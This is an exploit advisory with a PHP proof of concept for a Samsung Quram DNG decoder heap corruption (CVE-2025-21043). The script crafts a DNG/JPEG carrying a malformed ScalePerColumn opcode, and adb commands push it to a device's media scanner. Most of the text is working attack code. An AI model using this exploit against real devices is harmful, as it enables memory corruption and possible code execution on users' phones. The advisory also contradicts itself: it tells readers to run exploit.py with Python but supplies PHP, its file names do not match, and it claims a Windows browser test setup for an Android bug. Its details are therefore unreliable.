📄 Samsung Quram DNG Heap Corruption

=============================================================================================================================================
    | # Title     : Samsung Quram DNG Heap Corruption via Malformed ScalePerColumn Opcode                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available.                                                                |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211370/ & CVE-2025-21043
    
    [+] Summary : Samsung devices utilize Quram’s DNG decoder. A malformed ScalePerColumn opcode with oversized areaSpec and extreme pitches leads to arithmetic overflow in
                  the per-column scaling loop. After allocation miscalculation, subsequent writes corrupt heap structures. 
    			  Carefully crafted payloads enable control over free()function pointers, leading to fully controlled execution.
    
    [+] Impact
    
    Heap metadata & function pointer overwrite → Remote Code Execution.
    
    ###############################################################################
    PoC highlights:
    - Takes a valid DNG template.
    - Injects ScalePerColumn opcode ID 42 with malicious parameters.
    - Forced overwrite due to uncontrolled scale-array computation.
    - Deliverable via Android media scanner.
    
    Save PoC as:
        exploit.py
        template.dng
    
    Run:
        python3 exploit.py
        adb push PoC1.jpeg /sdcard/
        adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
           -d file:///sdcard/PoC1.jpeg
    
    ###############################################################################
    Affected:
    - Samsung devices using libimagecodec.quram.so
    - Android versions 13–16
    - Patch levels older than September 2025
    
    Impact:
    - Heap metadata corruption
    - Function pointer overwrite
    - Controlled RCE in Quram image decoding pipeline
    
    ###############################################################################
    Technical:
    The ScalePerColumn opcode (ID 42) accepts an areaSpec followed by a
    variable-length scaling array. Due to lack of integer sanitization, an extreme
    left offset combined with huge column pitch results in an incorrect scale_count
    and massive allocation mismatch. Writes overflow heap chunks, overwriting allocator
    metadata and indirect function pointers.
    
    PoC:
    - Injects crafted opcode at arbitrary IFD offset.
    - Builds malicious areaSpec.
    - Forces memory overwrite during scaling loop.
    
    ###############################################################################
    How To Save:
    1) Save files:
           template.dng
           exploit.py
    
    How To Run:
        php poc.php
        adb push PoC1.jpeg /sdcard/
        adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
            -d file:///sdcard/PoC1.jpeg
    
    Expected Result:
    Quram decoder processes malformed opcode → heap corruption triggered.
    
    [+]  POC : 
    
    <?php
    
    
    function u32($v, $little=true){
        return pack($little?"V":"N", $v);
    }
    
    function i32($v, $little=true){
        return pack($little?"V":"N", $v);
    }
    
    function f32($f, $little=true){
        return $little ? pack("g",$f) : pack("G",$f);
    }
    
    function create_minimal_dng(){
        $d = "";
        $d.= "II*\x00";            // TIFF header
        $d.= u32(8);               // First IFD offset
    
        $d.= pack("v",1);          // Num entries
        $d.= pack("v",254);        // Tag
        $d.= pack("v",4);
        $d.= u32(1);
        $d.= u32(0);
        $d.= u32(0);
        return $d;
    }
    
    function find_or_create_opcode_offset(&$tmpl){
        $ifd = unpack("V",substr($tmpl,4,4))[1];
        while($ifd != 0 && $ifd < strlen($tmpl)){
            $n = unpack("v",substr($tmpl,$ifd,2))[1];
            for($i=0;$i<$n;$i++){
                $o = $ifd+2+($i*12);
                $tag = unpack("v",substr($tmpl,$o,2))[1];
                if($tag == 0xC74D){
                    $cnt = unpack("V",substr($tmpl,$o+4,4))[1];
                    $off = unpack("V",substr($tmpl,$o+8,4))[1];
                    return [$off,$cnt];
                }
            }
            $ifd = unpack("V",substr($tmpl,$ifd+2+($n*12),4))[1];
        }
    
        $new = strlen($tmpl);
        $ifd = "";
        $ifd .= pack("v",1);
        $ifd .= pack("v",0xC74D);
        $ifd .= pack("v",4);
        $cntOffset = strlen($ifd);
        $ifd .= u32(0);
        $opcodeDataOffset = $new + strlen($ifd) + 4;
        $ifd .= u32($opcodeDataOffset);
        $ifd .= u32(0);
        $tmpl .= $ifd;
        return [$opcodeDataOffset,0];
    }
    
    function build_malicious($spec){
        $out = "";
        $out .= u32(42);     // opcode ID ScalePerColumn
    
        $areaSpec = 28;
        $scaleData = 1024;
        $tot = $areaSpec + 4 + $scaleData;
        $out .= u32($tot);
    
        $out .= i32($spec['l']);
        $out .= i32($spec['t']);
        $out .= i32($spec['r']);
        $out .= i32($spec['b']);
        $out .= u32($spec['fPlane']);
        $out .= u32($spec['fPlanes']);
        $out .= u32($spec['row_pitch']);
        $out .= u32($spec['col_pitch']);
    
        $col = ($spec['r'] - $spec['l']) / $spec['col_pitch'];
        if($col <=0) $col = 1;
        $out .= u32($col);
    
        for($i=0;$i<$col;$i++)
            $out .= f32(2.0);
    
        while(strlen($out) < $areaSpec+4+$scaleData)
            $out .= "\x00";
    
        return $out;
    }
    
    function inject_opcode(&$tmpl,$offset,$data,$count){
        if($offset >= strlen($tmpl)){
            $tmpl = str_pad($tmpl,$offset,"\0");
            $tmpl .= $data;
        } else {
            $tmpl = substr_replace($tmpl,$data,$offset);
        }
    
        $ifd = unpack("V",substr($tmpl,4,4))[1];
        while($ifd != 0){
            $n = unpack("v",substr($tmpl,$ifd,2))[1];
            for($i=0;$i<$n;$i++){
                $o = $ifd+2+($i*12);
                $tag = unpack("v",substr($tmpl,$o,2))[1];
                if($tag == 0xC74D){
                    $new = u32($count+1);
                    $tmpl = substr_replace($tmpl,$new,$o+4,4);
                    return;
                }
            }
            $ifd = unpack("V",substr($tmpl,$ifd+2+($n*12),4))[1];
        }
    }
    
    $templ = "template.dng";
    if(!file_exists($templ)){
        file_put_contents($templ, create_minimal_dng());
    }
    $t = file_get_contents($templ);
    
    $spec = [
     'l'=>-2147483644,
     'r'=>3,
     't'=>0,
     'b'=>236,
     'col_pitch'=>2147483646,
     'row_pitch'=>1,
     'fPlane'=>0,
     'fPlanes'=>3
    ];
    
    list($off,$cnt) = find_or_create_opcode_offset($t);
    $data = build_malicious($spec);
    
    // append if existing opcodes
    $inject = $off;
    if($cnt > 0){
        $p = $off;
        for($i=0;$i<$cnt;$i++){
            $id  = unpack("V",substr($t,$p,4))[1];
            $sz  = unpack("V",substr($t,$p+4,4))[1];
            $p  += 8+$sz;
        }
        $inject = $p;
    }
    
    inject_opcode($t,$inject,$data,$cnt);
    
    file_put_contents("exploit.dng",$t);
    copy("exploit.dng","Poc1.jpeg");
    
    echo "[+] Generated exploit.dng and Poc1.jpeg\n";
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================